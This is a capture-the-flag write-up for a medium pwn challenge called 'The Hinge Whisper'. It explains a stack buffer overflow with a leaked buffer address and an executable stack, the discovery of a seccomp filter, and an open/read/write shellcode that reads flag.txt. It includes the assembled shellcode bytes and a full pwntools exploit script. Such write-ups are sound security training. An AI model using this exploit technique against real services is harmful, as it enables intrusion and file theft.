The Hinge Whisper
The Hinge Whisper
Platform: CACTF2026 | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-27 | Status: Solved Techniques: stack_buffer_overflow, buffer_address_leak_via_format_p, ret2shellcode_on_executable_stack, seccomp_detection, orw_shellcode
Summary
Task: PIE ELF64 with no canary, an executable stack (GNU_STACK RWX), a %p leak of the input buffer, and an 80-byte read into a 64-byte stack buffer. Solution: leak the buffer address, ret2shellcode into the executable stack; discover a seccomp filter blocks execve, pivot to an open/read/write (ORW) shellcode to read flag.txt.
The Hinge Whisper — CACTF2026
Description
The room shouldn't exist. Rin finds a hidden private library with an old strongbox that has a "hatch" built into its face. One lock stands between her and an answer behind this hatch.
Themed pwn challenge about forging a "latch-key" to open the "hatch". A single ELF64 binary is provided, plus a remote instance. The narrative wordplay maps directly onto pwn primitives:
- hatch / keyway → the input buffer and the keyhole (leaked buffer address)
- latch-key → the payload/shellcode we send
- spine ("Perfect face, wrong spine") → the corruptible saved return address
- escapement / "push deep enough" → overflowing far enough to reach saved RIP
- "the hinge whispers to those who listen" → hint to read/write (ORW), not spawn a shell
Recon
checksec / ELF headers on the_hinge_whisper:
- ELF 64-bit LSB PIE executable, x86-64, dynamically linked, not stripped, GCC (Ubuntu 13.3.0).
- Full RELRO, NO stack canary, PIE enabled.
GNU_STACKprogram header flags =7(RWX) ⇒ stack is executable (NX off)..note.gnu.propertycontains SHSTK/IBT (CET) notes, but they are NOT enforced on the remote.- Functions of interest:
main,banner,service_hatch.
The combination of "no canary + executable stack + a leaked stack address" is the classic setup for ret2shellcode under ASLR without a libc leak.
Vulnerability analysis — service_hatch @ 0x11e3
Disassembly facts:
- Input buffer lives at
[rbp-0x40]⇒ 64 bytes. printf(" [+] The keyway sits at: %p\n", buf)leaks the stack address of the input buffer ("keyway" = keyhole). This defeats ASLR for the stack region.read(0, buf, 0x50)reads 80 bytes into the 64-byte buffer ⇒ 16-byte overflow.
Stack layout to saved RIP:
[ buffer ] 64 bytes (offset 0..63)
[ saved rbp ] 8 bytes (offset 64..71)
[ saved RIP ] 8 bytes (offset 72..79) <- overwritten
0x50 = 80 = 72 + 8 bytes ⇒ we control exactly one return-address slot and nothing beyond it. There is no room for a ROP chain, which forces the intended ret2shellcode-into-buffer solution.
Thematic rodata strings confirm the intended path:
"[*] But the spine... the spine is wrong. Perfect face, wrong spine."→ saved return address is corruptible"[*] The keyway accepts a custom latch-key. It looks shallow.""[*] Push deep enough, and the escapement yields."→ overflow to reach saved RIP"[+] The keyway sits at: %p"→ leaked buffer address"[+] Forge your latch-key: "→ send the payload"[*] The lock clicks shut. Nothing happens."→ the non-exploit return path
Exploitation
1. Leak + basic ret2shellcode
-
Parse the leaked buffer address from
"The keyway sits at: 0x7fff...". -
Place shellcode at the start of the buffer, pad with NOPs (
0x90) up to offset 72, then set the return address = leaked buffer address, jumping back into our shellcode on the executable stack. -
Total payload is exactly 80 bytes:
payload = shellcode + b"\x90"*(72 - len(shellcode)) + p64(leak_buffer_addr) # len == 80
2. Seccomp discovery (the twist)
A standard execve("/bin/sh") shellcode redirected RIP correctly (proven by a diagnostic write(1, ...) shellcode that echoed custom marker bytes to stdout) but produced no shell — execve is filtered.
Syscall probing (writing the raw syscall return value to stdout) revealed the filter shape:
openat2→-EOPNOTSUPP-style error,creat→ error.open(2)returned fd = 5, andopenat(257)returned fd = 5 — i.e.open/openat/read/writeare ALLOWED, whileexecveis DENIED.
Conclusion: the sandbox uses a seccomp filter that blocks execve. The intended solution is an ORW (open/read/write) shellcode, not a shell — exactly what the flavor text ("the hinge whispers to those who listen") hinted.
3. ORW shellcode
Final shellcode (≤ 64 bytes so it fits before the saved-rbp/return region):
push 0(NUL terminator);mov rax,'flag.txt';push rax;mov rdi,rsp(path);xor esi,esi(O_RDONLY);push 2;pop rax;syscall→open("flag.txt")= fdmov rdi,rax;mov rsi,rsp;mov dx,0x200;xor eax,eax;syscall→read(fd, buf, 0x200)mov rdx,rax;push 1;pop rdi;push 1;pop rax;syscall→write(1, buf, n)jmp $— halt so output flushes before the process would otherwise crash.
Validated assembled bytes (50 bytes total):
6a00 48b8666c61672e747874 50 4889e7 31f6 6a02 58 0f05
4889c7 4889e6 66ba0002 31c0 0f05 4889c2 6a015f 6a0158 0f05 ebfe
Final exploit
python read-only • copy allowed#!/usr/bin/env python3 # The Hinge Whisper - CACTF2026 pwn - ret2shellcode (ORW, open/read/write allowed) from pwn import * import sys, time context.arch = 'amd64'; context.log_level = 'info' HOST, PORT = (sys.argv[1], int(sys.argv[2])) if len(sys.argv) > 2 else ("TARGET_HOST", 0) fn = b"flag.txt" sc = bytes.fromhex("6a00") # push 0 (NUL terminator) sc += b"\x48\xb8" + fn + b"\x50" # mov rax,'flag.txt'; push sc += bytes.fromhex("4889e7") # mov rdi,rsp (path) sc += bytes.fromhex("31f6") # xor esi,esi (O_RDONLY) sc += bytes.fromhex("6a02") # push 2 sc += bytes.fromhex("58") # pop rax (open) sc += bytes.fromhex("0f05") # syscall -> fd sc += bytes.fromhex("4889c7") # mov rdi,rax sc += bytes.fromhex("4889e6") # mov rsi,rsp (buf) sc += bytes.fromhex("66ba0002") # mov dx,0x200 sc += bytes.fromhex("31c0") # xor eax,eax (read) sc += bytes.fromhex("0f05") # syscall -> n sc += bytes.fromhex("4889c2") # mov rdx,rax sc += bytes.fromhex("6a015f") # push 1; pop rdi (fd=1) sc += bytes.fromhex("6a0158") # push 1; pop rax (write) sc += bytes.fromhex("0f05") # syscall sc += bytes.fromhex("ebfe") # jmp $ io = remote(HOST, PORT) io.recvuntil(b'keyway sits at: ') leak = int(io.recvline().strip(), 16) # leak = buffer @ [rbp-0x40] log.success("leak " + hex(leak)) payload = sc + b'\x90' * (72 - len(sc)) + p64(leak) # 64 buf + 8 rbp = 72 -> ret into shellcode io.recvuntil(b'Forge your latch-key:') io.send(payload) time.sleep(1.2) print(io.clean(timeout=3).decode(errors='replace')) io.close()
Lessons / Key Indicators
Use this approach when:
- A
%p(or similar) leaks the input buffer's stack address, enabling ret2shellcode under ASLR without a libc leak. GNU_STACKflags = RWX (executable stack) despite a modern toolchain; SHSTK/IBT notes may be present but unenforced remotely.- The read length exactly fits to overwrite a single return slot (e.g. 80-byte read into a 64-byte buffer ⇒ 72 pad + 8 RIP), leaving no room for ROP ⇒ shellcode-in-buffer is intended.
- Your RIP-control probe (a
write()marker shellcode) works butexecveyields no shell ⇒ suspect a seccomp filter; enumerate allowed syscalls by writing raw return values to stdout, then pivot to ORW (open/read/writeflag.txt). - Themed wordplay maps to primitives: hatch/keyway/latch-key/spine/escapement → buffer/leak/payload/saved-RIP/overflow-depth; "whispers to those who listen" → read/write instead of a shell.